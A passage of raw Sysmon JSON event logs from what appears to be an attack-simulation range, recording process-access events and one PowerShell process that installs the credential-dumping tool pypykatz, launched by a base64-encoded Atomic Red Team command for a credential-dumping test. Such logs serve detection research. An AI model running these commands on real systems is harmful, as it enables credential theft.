C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010CBDA0700}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nProcessGuid: {90617006-4168-5F2D-0000-0010FADB0700}\r\nProcessId: 3728\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {pip3 install pypykatz} \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","ProcessGuid":"{90617006-4168-5F2D-0000-0010FADB0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {pip3 install pypykatz} ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: 